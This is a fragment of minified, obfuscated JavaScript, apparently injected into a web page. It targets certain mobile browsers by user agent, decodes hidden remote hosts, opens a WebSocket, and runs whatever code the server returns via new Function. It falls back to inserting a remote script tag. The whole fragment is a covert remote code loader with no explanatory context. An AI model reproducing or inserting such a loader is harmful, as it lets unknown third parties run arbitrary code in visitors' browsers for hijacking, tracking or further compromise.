if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};